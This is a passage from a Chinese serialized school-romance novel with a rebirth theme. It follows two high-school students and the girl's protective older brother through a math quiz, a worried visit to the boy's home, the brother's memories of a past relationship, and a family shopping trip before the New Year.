下午物理课上,老师在讲试卷,涉及同频共振。
久许认真听了,还是听不太懂。
这题是个多项选择,试卷上的确有图像,背景是个铁球摆动,题干里说得很详细。
她只记住结论——
摆长一样,频率一样。
同频才能共振。
下课铃响以后,老师还拖了堂,要把这题讲完。
男老师比较凶,没有人敢闹腾。
等宣布下课后,久许如释重负,把试卷推一边,趴书桌上睡了。
她最近老吃药,精神一直不好,时不时想犯困,加上听不懂课,忍着课上不睡,现在困得不行。
而江遇呢,坐着呆着,闲的自在。
春困秋乏夏打盹+冬眠。
他不怎么想睡,就是有些犯懒,不愿意写试卷,上课也很懒散,想听了就听听,不想听做别的。
当然,江遇大多时候,不想听做别的。
不只是物理课,别的课也一样。
上年刚开学时,江遇才转过来,从家带了诗经。那节是数学课,老师让写作业,他却在看诗经。
涉及表白,涉及私奔。
名字叫:《诗经王风大车》。
若只是看也就算了,数学老师起了兴趣,让他起立读那首诗,当着所有学生的面。
“大车槛槛,毳衣如菼。岂不尔思?畏子不敢。
大车啍啍,毳衣如璊。岂不尔思?畏子不奔。
……”
说来也是奇怪,江遇读完坐下。
老师讲起自身经历,大概是他的恋爱史,还在自己的课堂上,简单说了说这首诗。
再后来呢?
江遇跟老师成好朋友了。
数学老师。
也就是王昭明。
他刚好进教室,放下怀里试卷,看有学生趴着,在教室转了转,叫醒犯困学生,为上课做准备。
现在是大雪天,教室里开着灯,氛围适合睡觉。
王昭明也理解,倒没有太生气。
时间过得很快,上课铃声响起,下午后两节课,都要上数学课。
王昭明想好了,要简单考个试,甚至有些突然。
“今天天气不错,我们小测一下。”
补觉梦破碎了,班里学生活了,四处哀嚎一片。
周三下午最难过了,才连着上完物理课,又要连着上数学课,听老师讲题就算了,现在却要小测一下。
小测就小测吧,还是数学小测,他们最怕数学。
虽然不是交白卷吧,可是数学不会做了,你就只能写个解啊,然后你就得愣坐着,也不能悄咪咪睡觉。
看到学生们这模样,王昭明习以为常了。
等试卷答题卡发下,他就走下讲台走动,顺便看管班级纪律。
今天这种天气,他要是真讲课,得睡倒一大片,还不如考个试,偶尔班里转转,兴许还会好点。
再说了,都高三学生了,还怕什么考试。
久许提笔做题,没什么精气神。
她揉了揉眼睛,愣了一小会儿,努力睁大眼睛,试图清醒清醒,眼角有些泛红,像是哭了一场。
把试卷反过来,她继续往下做。
久许心里想着:要做个好学生,不能
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上课睡觉。
班里开始还很安静,很多人都在认真写,只是帅不过三秒吧,还不到半个小时呢,不会写的不会写了,就剩十来个还在做。
不过幸好的是,睡觉的倒不多,估计是怕老师。
课间没有休息,考一个半小时,时间依旧挺紧。
按照正常考试,要考两个小时,只是自己小测,成了九十分钟。
不过,老师也常常说:“数学跟其他学科不同,一定要把速度提上去,把考试时间规划好了,留个二三十分钟检查。”
快放学的时候,后边学生收卷。
老师时间卡的很准,学生刚收完给了他,他把答题卡整理好,放学铃声就敲响了,没拖堂直接让放学。
久许收好书本,背上书包出来,只想快些回家。
她本来就犯困,还做数学试卷,费了不少心神,模样病怏怏的,步子有些虚浮,看着可怜极了。
江遇第一反应:“是不是发烧了。”
小姑娘很可怜。
模样委屈得很。
眼眶有些泛红,似有若无带泪,真是娇滴滴的。
“我应该没有吧。”久许偏头看他,解释说:“就是有些犯困。”
是那药的原因,这阵子老这样,过会儿就好了。
“不舒服就看医生,拖久了就得打针。”江遇停顿了下,打趣说:“别跟小熊猫一样。”再过敏就不好了。
久许摇了摇头,喃喃说:“不要生病,不看医生,不想打针。”
她想起黑历史,哥哥跟她说的。
他说,她六岁那时候,发烧打退烧针,竟然药物过敏,像小熊猫似的,突然就黑眼圈,过了好久才好。
现在都十七了,可不能这样了,让人看见丢人。
“还这么娇气啊,都多大个人了。”江遇说完这话,上下打量久许,温声说:“果然没有长大,还是小朋友呢。”
“小朋友怎么了,你又不是坏人。”
久许理直气壮。
勇敢得很,声音却软。
“可不能这么说,不怕我是坏人?”
江遇无奈反驳,语调异常认真,耐心说:“万一我是坏人,就你这小身板,我一手提一个,你跑都跑不掉。”
久许认真询问:“我为什么怕呢?”
江遇低声回复:“我真是栽你手里了。”
久许听了这话,也没继续追问,只是看着江遇。
江遇也不说了。
微风拂面而过,两人往站点走。
江遇不觉垂眼,看着地上的雪,莫名思绪飘远,想起那个雪夜。
来往行人不断,灯火绮丽葳蕤,细雪落了满身。
外面流言蜚语,他们随意说他——
有娘生没娘养。
是捡来的野种。
命硬克父克母。
害得爷爷住院。
……
他跟人打了架,身上有不少伤。
那些家长…
那些孩子…
那些路人…
他们说他惹事,当他毒蛇猛兽,怕他发疯咬人。
像救世主一样,好赖话都说了,缘由都不带问,真是佛面兽心。
八岁的他孤苦伶仃,在那冰天雪地里面,独自舔舐狰狞伤疤。
地面已然清白,一样的下雪天,一样的小姑娘,一样病怏怏的,一样娇滴滴的,灯光随风摇曳。
他蹲在墙角处。
她站在光亮里。
那强撑的伪装,竟全部卸下了。
小姑娘还稚气,干净漂亮璀璨,给他清理伤口,甚至擦拭眼泪。
“早就跟你说了。”
男孩戾气很重,挣开她的右手,冷声说:“我知道我脏了……”
“我哥哥跟我说,眼泪最干净了。”
小姑娘很认真,模样极其虔诚,在微弱灯火里,眉眼若隐若现,被揉皱了一样,是神女垂眸了。
她待他的态度,像是他是珍宝。
那个极寒雪夜,白雪皑皑无瑕,男孩一无所有。
江遇回忆至此,脚步缓了下来,打量久许侧颜,心间兀自软痛。
那泪…
他理解了…
11.我哪有啊
【11】我哪有啊/
“我也喜欢江遇,很早就喜欢了。”
临近期末考试,高中放假偏晚,再加上是高三,又要晚上几天。
大学就不同了,久执放假回来,已经好几天了。
他闲着没事做,就主动提出了,送妹妹来学校,等放学再来接,正好打发时间,也不用闲着了。
久许坐副驾驶,有些闷闷不乐。
久执认真开车,为了看看妹妹,还时不时偏头。
他这谨慎模样,生怕丢了妹妹。
“哥哥。”久许停顿了下,不解说:“你怎么老看我。”
我妹妹多好啊!
现在怎么这样,还质疑哥哥了?
“我说小久许啊……”
“我不是担心吗?”
“就邻居家的小女儿,她侄子的外甥女家,这个你应该知道吧,女儿被人贩子拐了。”
“这天冷飕飕的,都在冲业绩啊,最容易犯罪了。”
明显的睁眼说瞎话。
话里全是漏洞。
“可是哥哥,你多想了。”
久许无奈摇头,补充说:“新学校挺好的,同学们很友好,我也不得罪人,谁能欺负我啊。”
“那你怎么护着江遇,哥哥就说了他一句,小久许回哥哥两句。”
久许怔愣起来,满眼不可置信,整个就无语了。
是我护着他吗?
不是你说的吗?
“哥哥,我哪有啊。”
“小久许说的奥。”
久执顺竿子爬,斟酌了三四秒,好心说:“等真到了以后,别管对的错的,站在哥哥这边,不能护着江遇。”
“我不护着,我不护着。”
久许生无可恋,把书包抱怀里,再看哥哥神情,无奈说:“你俩还是打一架吧,分个谁胜谁负出来,要是两败俱伤也行,我带你们去看医生。”
久执心中一动,想着说上两句,看妹妹不开心,把话压了回去。
这是自己妹妹,他不多宠着点,还能怎么办呢?
久许一本正经:“哥哥,我要上学去了。”
打开车门下车,快步进了学校。
久执没有下车,停在了马路边,等了五六分钟,没看到江遇来,可能是来得早,早就进教室了。
“算了,回家。”
*
久许进了教室,没有看见江遇。
她的第一反应——
不是为了躲她哥吧。
久许这么一想,对比哥哥异常,觉得很有道理。
江遇似乎有事,两三天没来了。在哥哥回来后,他闲着没事做,接送她上下学,江遇就消失了。
大概算下时间,都快要上课了,这时候还不来,估计又请假了。
她有种落差感,就很莫名其妙。
久许忽略这些,坐自己位置上,刚拿出来课本,就右眼皮老跳,感觉有事发生,就像臆想一样。
可江遇说没事,她也说不清楚,笔都握不紧了。
他说你别担心,她却更担心了。
不能一语成谶?
江遇偷偷瞒她,和她哥打架了!
久许不太放心,纠结来纠结去,做好心理建设,偏过头问楚夜:“江遇怎么没来?他有什么事吗?”
“不知道啊。”
楚夜思索片刻,补充说:“他早就不住我家了,这个我也不太清楚。”
他确实不知道,说得也是实话。
江遇再回来了,把东西搬走了,住哪儿也没说。
久许怔了几秒,大脑一瞬空白,喃喃说:“都快要寒假了,还能去哪儿啊。”
江遇搬家这事,她现在才知道。
不过她没问他,也怪不得别人。可是再夸张些,他扔下她跑了,她找都找不到。
“江遇命大得很,能出什么事啊。”
楚夜看她神情,补充说:“好像也说不定,人肉体凡胎的,什么病啊灾啊,碰上也算正常。”
“他可能住哪儿啊?你有想到什么吗?”
久许心里着急,但话说出了口,又感觉很冒昧,顿时尴尬起来。
她现在怎么了?
她担心什么呢?
看到久许这样,楚夜哑口无言,心里也是一沉。
这俩人怕是有情况,看着相处的非常好,却又莫名有些疏离,总感觉有些怪怪的,但是真要刨根问底,哪里怪又说不出来。
他想解释什么,却不知说什么。
楚夜思索片刻,想到江遇老家,拿着纸写地址,然后递给久许。
久许接过地址,看着那些文字,神情有些恍惚。
有上世的记忆,两人恋爱两年,都谈婚论嫁了,马上就是夫妻,很亲近的关系,她不知道这里。
久许猛然觉得,她对江遇这人,真是很不了解。
她真的爱他吗?
甚至连他的家,都不知道在哪。
*
到了中午放学。
久执按时来接久许,就觉得妹妹很委屈,路上一句话也不说,回家午饭没吃几口,就直接回卧室休息。
她很精神。
还能休息?
久执想了半天,过来敲了敲门。
“许许,哥哥能进来吗?”
听到哥哥说话,久许连忙擦泪,关了平板放下,这才回声答应。
久执推门进来,久许坐在床边,模样匆匆忙忙,像做了亏心事,眼睛有些红肿,明显刚刚哭过。
他坐久许旁边,温声说:“哪里受委屈了,哭成这个样子。”
久许听到这话,心里又难受了,低声哽咽起来。
“哥哥,我好难受。”
看到哥哥以后,她压制不住了,委屈全然流露,眼泪不听话了。
“都是哥哥的错……”
久执有些担心,看她眼眶红着,低声说:“许许哪里难受,跟哥哥说一说。”
他就说了些话,妹妹就掉眼泪,肯定不是小事。
“哥哥你说错了,那跟你没关系。”
久许说着这话,哭得更厉害了,给自己擦眼泪,哽声说:“是我的错,对他不好,我也承认。”
“可是,他回来这么久了,搬家我都不知道,这几天不来学校,碰上事不跟我说,我下意识担心他。”
“我想找他聊一聊,住哪里都不知道。”
“他跟我说那么多,可是却带着试探,甚至对我有底线,这种感觉很难受。”
“他对我好像很好,我却患得患失的,总觉得他会离开。”
在心里压久了,对自己的哥哥,不自觉就说了。
久执听到这些,心里莫名很乱。
他心里也有些准备,江遇和许许谈恋爱,许许应该挺上心的,但是也不能这样啊。
他家许许这么听话,不能成恋爱脑了吧?
“我们许许哪里不好?”
久执看着久许,补充说:“我们许许能喜欢他,是他江遇赚大发了。”
“我也喜欢江遇,很早就喜欢了。”
久许平复情绪,控制眼泪不流,很自然的解释。
“现在我们两个这样,大概也是我的问题,我觉得不该有隐私,隐私就等同于隔阂,给欺骗留下了苗头。”
“他好多事不跟我说,全靠着我自己去猜,这种感觉特别难受。”
久执有些奇怪,这么喜欢了吗?
江遇哪里好了?
妹妹这么上心?
这才多长时间,上心也就算了,还让妹妹委屈。
他想跟爸妈说,看看怎么解决;不想跟爸妈说,怕妹妹被数落。
“许许,如果江遇爱上别人……”
久执沉默片刻,无奈说:“你恨他吗?”
“你说恨吗?”
“或许恨吧。”
“可是哥哥,我不确定。”
久许缓了下来,眼底浮现怀念,补充说:“他是个很好的人,我喜欢归我喜欢,这只是我的事情,哪怕他喜欢别人,我不能说恨就恨,他又不欠我什么。”
“不过话说回来,现在只是现在,如果到了以后,谁又说得准呢?”
没有爱哪
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里来的恨。
很难说准。
久执脑海里面,回荡着她的话。
如果到了以后?对于江遇这人,你有想过未来,怎么会不爱呢?
“许许,你是个大姑娘了,发乎于情止乎礼。”
“喜欢一个人没有错,谁还没个喜欢的人,但是要对自己好些。”
“有些事情要清楚,你现在这个年纪,感情的事不用急,还是以学业为重,等你们上了大学,有了自己的未来,再去试着谈感情。许许要多想一些,不能太相信男人,男人能演到你死。”
“哥哥相信,我们许许的眼光,一定能比哥哥好。”
久许听到这里,心里有些疑惑,不禁偏头看他,喃喃说:“哥哥不说我吗?”
“你什么都很好,就是不爱说话,总是藏着掖着,谁也不让知道,现在说了出来,不是挺好的吗?”
久执气急反笑,无奈说:“对待江遇也是,你有什么事了,要直接跟他说。许许不用害怕,他喜欢你的话,会更多迁就你。”
“若是他欺负你,记得跟哥哥说,哥哥给你撑腰。”
妹妹看着很软,骨子里却倔强,不管什么时候,都报喜不报忧,不让家人担心,最是苦了自己。
久许皱着眉头:“哥哥,你不怪我?”
按照常理来说,哥哥说她一顿,然后告诉爸妈。
几个人开家庭会议,轮番来数落她一顿,跟哥哥那时候一样。
久执沉默片刻,反驳说:“为什么怪?”
久许眼睛红着,定定看向久执,话说得很认真:“我喜欢他,胡思乱想,耽误时间,影响学习,成绩下降,荒废学业。”
多少前车之鉴,她却明知故犯,真是个坏小孩。
“久许。”
久许听到声音,很快便回过神:“哥哥……”
“谈恋爱是神圣的。”
久执停顿了下,看着她的眼睛,耐心说:“你需要有责任感,学着去自尊自爱,别怀疑你的眼光,如果喜欢他以后,你更加努力向上,就不是什么坏事。”
久许听过这话,反倒更疑惑了。
哥哥说的每个字,她都听得很明白,可是放到一起了,却怎么也不理解。
“不管以后怎么样,哥哥站在你这边。”
久许听到这话,心里咯噔一下,语调低沉不少,像小孩子赌气。
“为什么呢?”
站我这边?瞒着爸妈?
怎么会这样呢?
“哥哥能为什么?”
久执看她这般,不觉晃了心神,想到那个自己,解释说:“你是我的妹妹,我自然向着你。”
久许静了下来,像是思索什么。
“小姑娘家家的,都成小花猫了,赶紧收拾收拾。”
久执站起了身,补充说:“饿了就自己找吃的,待会儿送你去学校。”
久许犹豫片刻,还是点了点头。
*
久执关门,人却没走。
他正靠在门上。
他万般筹谋算计,想着有江遇陪着,久许的病能好些,现在从结果看来,病是好了些没错,心跟着江遇跑了。
那时八月中旬,江遇来得匆忙。
他在店里等了好久,再次见昔日的好友,随意说起几句家常,随后才说起了正事,交谈无意提到久许。
江遇下意识的反应,眼里藏不住的深情。
“江遇,我只想问你一句话……”
他打量着江遇,分析所见种种,一字一顿补充:“你爱她吗?”
“爱吗?”
江遇意味不明,说了这两个字。
他莫名愣了神。
江遇静了几秒,补充说:“谈恋爱很神圣,不能太随便了。”
他刚说些什么,却被江遇打断。
“我现在还不够成熟。”
江遇姿态慵懒,随意坐在那里,淡淡说:“等我长大成为男人,才好说什么爱不爱。”
久执想到这里,忽然就明白了。
他以为的清醒,是江遇的克制,是久许的心动。
12.那不一样
【12】那不一样/
“他还是学生呢,现在要上学啊。”
今天刚好周五,下午上两节课。
久许来学校的时候,就说了想去找江遇,久执宠她就答应了。
两人放学过来,真到地方以后,却没有看见人。
家门锁得严实,两人只能等着。
还好太阳不错,就是风有些大,街上没什么人,问话都问不了。
“是小久吧。”
老人说得突然,手里还提着菜,离久许不太远。
久许听着熟悉,寻声偏头看去,轻声喊:“楚奶奶。”
“小久怎么来这儿了,去奶奶家里坐坐吗?”
楚奶奶走过来,看见久执也在,顺着说:“小执你也在啊,外边风这么大,还带妹妹吹风?”
久执苦不堪言,无奈说:“楚奶奶,这可不能怪我,妹妹非要等人,我哪敢说她啊。”
久许连忙打断:“都是哥哥胡说,楚奶奶别信他。”
楚奶奶听完了,刚想说些什么。
这道声音响起:“奶奶。”
时渡说着这话,快步走了过来,见她手里有菜,连忙接到手里。
“都说别忙活了,外边风这么大,爸妈没拦你吗?”
十七岁的少年,语气有些责备。
“奶奶闲不下来。”
楚奶奶挺尴尬,解释说:“你爸你妈拦了,我偷偷出来的。今天你休礼拜,奶奶来小卖部,买些你喜欢的。”
明明是个大人,像小孩犯了错,言语有些委屈。
时渡并不买账,冷声说:“我妈忙活就够,我吃什么不行。”
楚奶奶想求救,给久许使眼神。
她胆子有些小,天不怕地不怕,就怕孙子生气。
“时渡。”
久许思索片刻,补充说:“你都说外边风大了,不带楚奶奶回家吗?”
楚奶奶听到这话后,眼神一下子就亮了。
“行吧。”
时渡不好拒绝,无奈说:“就这一次,下不为例。”
他其实也知道,说的下不为例,很快就又犯了。
时渡带楚奶奶回家,他时不时说上两句,楚奶奶跟孩子一样,认真听顺便还点头。
老人多少有些驼背,显得少年高了不少。
两人一起往家走着,在远处看背影的话,像家长接孩子回家。
“时渡不错。”
久许听了这话,不解说:“哥哥,你好奇怪。”
“你小时候也是这样。”
久执回想往事,不禁淡淡笑了,打趣说:“你小小的一个,就坐在家门口,等着爸妈回来,可是哪成想啊,还没等着人呢,你就发起了烧。”
“小脸红得不行,一直喊着难受,还是哥哥下学,背你去看医生。”
就是那是雪天,现在却刮着风。
久许扯了个笑,低声说:“哥哥就知道打趣我。”
久执倒不意外,妹妹太不经逗,好在也习惯了。
“许许还记不记得,后边你又发高烧,哥哥背你看医生,那时候还下着雪,你非要吃糖葫芦,不给买就一直哭。”
久许愣了一下,喃喃说:“哥哥,我有过吗?”
“你当然有过啊,也算是缘分吧。”
久执停顿了下,补充说:“那时候碰见江遇,他身上脏兮兮的,你倒是喜欢得紧,给糖葫芦就算了,还喊他漂亮哥哥,比哥哥我都亲了。”
“我怎么不记得了。”
久许有些茫然,心里生出困惑。
*
江遇回来的时候,兄妹俩正说着话。
他送无疾到车站,立刻就打车回来,路上堵车晚了些。
久执先看见他,气不打一处来,不管有错没错,先指责了起来:“你说你回来这么晚,我妹妹吹这么久风,要是发烧了怎么办?”
久许也回过神:“哥哥,你这是说什么?”
江遇却没有恼,认真说:“是我的错。”
说着话开了家门,久执他们进去了,江遇在后边关门。
久执来过这里,陈设没怎么变,屋里挺干净的,就是有些空荡。
久许坐沙发上,模样很是乖巧。
在上一世,她遇见江遇的时候,他就住他们家对面,那个新开发的小区,家里简约不失精致,莫名很合她的心意。
他从来没跟她提过,他还有这么一个家。
江遇拿了杯子,给他们俩倒水,放在了桌子上。
“听楚夜说你搬家了,你这几天又没上学,我妹妹求我带她来。”
久执说的这话,有些前后矛盾。
明显是她的话。
谁也能看出来。
“我成年了,该独居了。”
江遇坐了下来,离久许不算远。
久执听他这话,不禁问:“你住这边,离学校远,怎么走读?”
“在学校附近租房,上下学还算方便,不怎么影响走读。”
江遇说完以后,似乎想到什么,补充说:“我不怎么在这边。”
久许有些不解,轻声问:“你住得好好的,怎么搬出来了?”
明明还是学生,自己一个人住,忙这个忙那个,能忙得过来吗?
江遇欲言又止。
久许很是疑惑,不解说:“你怎么不说了?”
小姑娘这模样,有些像是查岗。
久执愣了。
江遇愣了。
氛围有些凝重。
久执先开了口:“许许,你怎么说这话,自己住自在啊,哪有为什么呢,他都成年人了,能出个什么事。”
“那根本不一样。”
久许认真反驳,补充说:“他还是学生呢,现在要上学啊。”
久执:“……”
什么不一样了?我不是学生了?我不在上学了?
江遇似乎意会,解释说:“我上学就是走个形式,毕了业可以直接工作,现在这样不耽误什么。”
“那不一样,不是这样。”
久许停顿了下,无奈说:“你也才十八岁,你要去读大学,你要开心快乐。”
如果按部就班,江遇没读大学,远赴香港两年。
他吃了不少苦,才继承了陆氏。
久执似乎明白,妹妹是误会了。
他想通这些后,刚要出声提醒,被江遇打断了。
“你想我读大学吗?”
久许点了点头,认真说:“你该去大学看看。”
江遇不禁愣神,鬼使神差一样,回忆起那一刻。
少女说得认真,模样可爱乖巧。
“你知道莫比乌斯环吗?一种拓扑学结构,循环,一个面,一个边界。一轮复习只是起点,你该去大学看一看。”
他抬头看向她,认真说:“我陪你去读大学。”
久执心情复杂。
江遇衣冠禽兽,就黑心肝一个,只会骗他妹妹!
*
久许拿着哥哥手机,跟妈妈打电话说完,就在客厅里看电视。
久执搜了半天,找不着好看的,电视没有联网。
只能看CCTV1。
正在演喜羊羊灰太狼。
懒羊羊被绑了,坐在大石头上,哭着说:“你不是不屑捉我的吗?”
灰太狼扯绳子,无奈说:“我也是没办法呀,残酷的现实总是在摧残我那高尚的品格。”
江遇久执二人,在厨房里做饭,家里还有食材,也不用出去买。
江遇不想回来,可是久许找他,他就又回来了。
久执不情不愿,调侃说:“东西倒挺齐全啊,你刚刚不是说了,不怎么住这边吗?”
他没想着帮忙,就是过来添乱。
“哥。”
听江遇这一喊,久执顿时愣了。
“你可别乱喊啊,都给我喊老了,我月份比你小。”
江遇没有反驳,认真说:“我跟久久在一起了,你自然也是我哥哥。”
“八字都还没一撇呢,你倒想上在一起了,怎么也得上了大学。”
久执有些无奈。
江遇很爱做梦,万一有意外呢?
“你刚刚不拆穿我,不也是不反对吗?”
江遇轻笑一声,补充说:“陆家那边有无疾,我帮衬个两三年,就能放手给他了,不耽误我和久久。”
久执沉默不语。
久久,久久。
叫得可真亲密。
他一早就知道,高考结束以后,江遇要去香港,适应两年过渡,回来接掌陆氏,可现在怎样呢?
他要陪妹妹读大学。
爱能抵万难吗?
他不禁问江遇:“你不会后悔吗?”
江遇疑惑起来,随意说:“我后悔什么呢?”
“江遇…我还以为…”
久执有些迟疑,无奈说:“你会后悔…”
对于江遇来说,有更好的选择,而心理疾病呢,根本就不好治,他和妹妹恋爱,或许会被同化。
想要殊途同归,就得酩酊大醉。
“久执。”
江遇思索片刻,补充
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说:“我有她的消息。”
你还要吗?
他听懂了。
久执愣了一下,随意说:“我不要了。”
江遇不太理解。
“真不要了?”
话里带有疑惑,还想再次确认。
“以后就别跟我说了。”
久执神情如常,话里满是释然,就跟真的一样。
江遇沉默片刻,不禁问:“你不会后悔吗?”
你主动联系我两次。
一次为了林絮,一次为了久许。
“我放弃了。”
久执打理食材,试图掩盖什么,有些欲盖弥彰。
江遇过来帮忙,有一搭没一搭,跟他说几句话,偶尔旁敲侧击,找些蛛丝马迹,想知道些什么。
久执意识到了,淡淡说:“你不用这样的,我也该放下了。”
他们在一起三个月,分开这么长时间了,她会交新的男朋友,放不下的一直是他。
“她生病了。”
江遇纠结过后,还是说了出来。
不管以后怎样,告诉他好一些,免得留下遗憾。
久执没理会他,装上切好的菜,准备开火炒菜,没让江遇插手。
*
久执前边开车,带着久许回家。
到家门口以后,久执敲了敲门,没人过来开门,怕是都不在家。
他拿钥匙开门,顺手开客厅灯。
久许在换拖鞋,看久执愣住了,解释说:“爸爸说我们不在家,他陪妈妈看电影了。”
久执嗯了一声,语气很是平淡,让人听着很凶。
久许鼓起勇气,抬头去看久执,认真说:“哥哥要开心些。”
有些话她问不出口,只有对哥哥的祝愿。
“我们许许也要开心。”
“那当然啦。”
久许无声笑了,看着久执眼睛,认真说:“我就你这一个哥哥,你就我这一个妹妹。”
久执沉默片刻,无奈说:“好了好了,我知道了。”
“哥哥,我休息了,八点多了。”
“早些休息。”
久许回了卧室。
久执没回卧室,在沙发上坐着。
江遇跟他说的……
大概是在意吧,凭什么释怀呢?
久执拿出手机解锁,打开界面的企鹅标,看向了联系人界面,一个分组名是“宝宝”,看了好久不敢打开。
分组后边显示:0/1。
她一直不在线,设置隐身了吗?
他点开聊天框,是之前的消息,不用上下滑动,显示着这几条。
林絮:【我们不太适合,我想跟你分手。】
久执:【我们见一面吧。】
林絮:【好聚好散。】
久执:【不再冷静下嘛?】
林絮:【睡吧。】
久执:【晚安。】
久执靠着沙发,突然就犹豫了,甚至还害怕了。
最终还是发了,就这么几个字。
【我们好久没讲话了。】
久执发完消息,看了眼万年历,时间还不算晚。
2017/1/13。
20:49:59。
客厅里没别人,四处异常安静,表针声很清晰,心跳格外明显。
对方没有回复,久执平静的心,悄然混乱起来,纠结来纠结去,直接回了卧室,准备早点休息。
日有所思,夜有所梦。
久执睡得很不安稳,他听到消息提示声,下意识地去拿手机,点进聊天框看消息。
他意识不清醒,但看得很认真,对方显示在线。
【都很晚了,你该睡了。】
现在23:24。
像梦一样。
久执心生贪恋,给她打了电话。
一次没有接通,两次没有接通,第三次接通了。
他诉了好多苦。
女孩声音很软。
在电话挂断前。
女孩说:“你很累了,还不睡吗?”
“如果真的没有感觉……”
久执话锋一转,语调异常凝重,补充说:“我就不会纠缠你了。”
女孩听到这里,呆滞靠着床背,垂眼望着床面。
很简单的薄被,却像一面镜子。
黑夜里的眼眸,根本看不清楚,此刻却清晰了,似能窥到他人。
“久执。”
女孩顿了几秒,认真说:“我有感觉。”
他的思念无声,已经震耳欲聋。
13.你妹妹呢
【13】你妹妹呢/
“我想当你男人,你肯让我当吗。”
期末结束,寒假开始。
只休息十来天,留了不少作业。
大都是印刷的试卷。
每天都有计划,老师们有要求,写完作业以后,上传到群应用,不定时会抽查,还说可能家访。
久许看着文件,正写纸面作业。
班级群里一直在弹消息。
虽然设置静音状态,但提示框一直出现。
她切换到界面,往上翻动查看。
是班主任发的电子文档,这次的期末考试成绩,随后就是同学们的话。
久许打开文件。
全年级的排名,看得清清楚楚。
第一名惹人注目,624分。
第二名相差甚远,566分。
后边就是正常波动。
听说,第一名这个人,早恋被逮到过,学校劝导也好,家长阻拦也罢,用了不少方法,两人还是没分。
到如今呢,他依旧稳居第一;
那个女生,成绩似乎也不错。
江遇537分,年级名次56。
久许536分,年级名次58。
除此之外,13班李逸飞,546分,年级名次42,普通班第一名。
这次数学偏难,最高也才118分,久许考了94分。
久许退出文件,看到未读消息。
是顾念的消息。
【你考得怎么样?】
顾念跟她关系很好,之前在市二中上学,两个人经常做同桌,她挺照顾自己的,就是自己突然转学,后来不怎么联系了。
【沾了数学的光,整体还算不错。】
消息刚发过去,久许刚缓过神,就听到敲门声。
“许许,我们要出趟门,你要不要去啊?”
是久执的声音。
话里有些急迫。
久许起来开门,看久执这神情,不解问:“哥哥,去哪儿啊?”
“当然是买新衣服啊。”
久执沉默几秒,无奈说:“今天都小年了,过几天回老家,哪有时间再去?”
久许恍然大悟。
这几天写作业,只记得星期几,都不记农历了。
“哥哥,我现在换衣服,十分钟就好啦。”
她说完关上门,开始翻箱倒柜,找要穿的衣服。
久执去了客厅,坐沙发上等着。
久妄忙完出来,走到客厅以后,就只看到久执,随口问:“你妹妹呢?”
“换衣服呢,应该快了。”
久执话刚说完。
久许就出来了,看见爸爸也在,喊了声:“爸爸。”
她这话音刚落,人就已经跑了。
“也不慢点,别摔着了,跑这么快。”
久妄语气虽重,但字里行间里,是满满的宠溺。
久许进来那时,妈妈刚化完妆。
“妈妈。”
“许许。”
君悦靠后了些,给久许留地方,还在打理头发。
久许洗漱完了。
君悦也弄好了。
“许许这身衣服,扎双马尾好看。”
久许刚擦了脸,抬头看着君悦,眼睛亮晶晶的。
“那妈妈给我梳吗?”
“给你梳。”
“妈妈好久没给我梳头了。”
久许坐在凳子上,小腿前后轻轻晃,右手里拿着头饰。
“哪有好久。”
君悦低笑了声,觉得女儿大了,不像幼时黏人,有自己的想法,柔声说:“许许要是想了,妈妈就给你梳。”
君悦梳得很慢,生怕弄疼久许。
久许也不着急,中间时不时的,还跟妈妈说话。
久许收拾好后,来到客厅里面。
“妹妹,你这模样。”
久执看她模样,打趣说:“越来越像小孩子了。”
黑色半身褶裙,上身白色毛衣,还梳着双马尾,发上别花朵结,一米六小个子,配上这张小脸,像洋娃娃一样。
久许理直气壮:“小孩子怎么了,妈妈给我梳的。”
久妄听到这里,报纸也不看了,打量自己儿子,淡淡说:“你又不是没有梳过。”
“你俩可真行啊。”
久执没办法了,无奈说:“合着这个家里,就我地位低了。”
君悦刚好出来,看到儿子这样,有些于心不忍。
“你不是最低的,你爸在你后边。”
*
一家人逛商场,买好了新衣服,找地方吃午饭,看时间还不晚,又换了个地方,来一楼逛超市。
久许懒洋洋的,试衣服老要换,现在觉得很累,就想快些回家。
久执倒还好些。
他胳膊有些疼,是提衣服提的。
久妄推购物车,充当一个力工。
君悦四处转悠,看着买些什么,杂七杂八一堆。
久执兄妹俩呢,就在后边跟着。
“许许,你也在啊。”
小姑娘离得近,见到了好朋友,心情有些激动,话里透着喜悦。
唯一不太协调的是,她怀里抱了个孩子。
“念念,你自己吗?”
久许走了过来,看到怀里孩子,模样乖巧可爱;他也看着她笑,小嘴一张一合,嘟嘟囔囔说着。
她不觉开口问:“他多大啦?”
顾念没有犹豫,回复说:“快要十个月了。”
“好小。”
久许佩服顾念。
这么小的孩子,她碰都不敢碰。
“不算小了。”顾念看她纠结,提议说:“你要不要抱一抱,临儿他很喜欢你。”
久许却婉拒了:“我手太笨,就不抱了。”
小顾临似乎听懂了,摆着小手想要她抱,见久许不肯抱着他,一下子就哭了起来。
顾念开始哄小顾临。
他却怎么也不听话。
久许莫名心软,开口说:“要不我抱抱他?”
顾念应声答应,把孩子递给她。
久许轻轻抱过孩子,不知道是不是错觉,感觉胳膊都重了些。
小顾临被抱住,睁眼看着久许,顿时就不哭了。
“小顾临真不听话,姨姨看你这么久,你呢?”
“他很漂亮。”
久许停顿了下,补充说:“要是不哭就好了。”
顾念刚想说话,就看见了来人,是她姐姐姐夫。
“姐姐,姐夫,这是久许。”
她这么一句话,就介绍清楚了。
久许轻声回应。
孩子看到母亲,伸着手要人抱,偏头看着久许,他又不想走了。
久许思索片刻,把孩子递过去。
她很喜欢孩子,临儿也很漂亮,就是家人等着。
小顾临到母亲怀里,还眼巴巴看着久许。
顾愿似乎懂了,顺孩子视线看,打量久许模样,轻声说:“久许以后常来玩,念念老念叨你呢,临儿也很喜欢你。”
“临儿很乖,也不怕生。’
久许看小顾临,不由轻笑了声,补充说:“特别招人喜欢。”
她跟顾念道别,就离开找家人。
他们没走太远,怕久许找不着。
久执看她回来,随意说:“跟同学说完了?”
久许有些茫然,不解问:“那是念念,哥哥忘了?”
“你这说的,我要记得?”
久执觉得奇怪。
她是妹妹同学,他为什么记得?
久妄推着车去排队了。
君悦偏头打量,看孩子没跟上。
“要结账回家了。”
兄妹俩听到了,没再多作停留,连忙跟了上去。
顾念看到这里,这才慢慢回神,连姐姐喊了她,都似乎没听到。
“姐姐。”
顾愿看她神情,再想那兄妹俩,淡淡说:“念念心不在焉。”
顾念有些窘迫,平复整理情绪,解释说:“久许转学半年,挺长时间没见,我怪想念她的。”
话里满是漏洞,明显答非所问。
“真的是久许吗?”
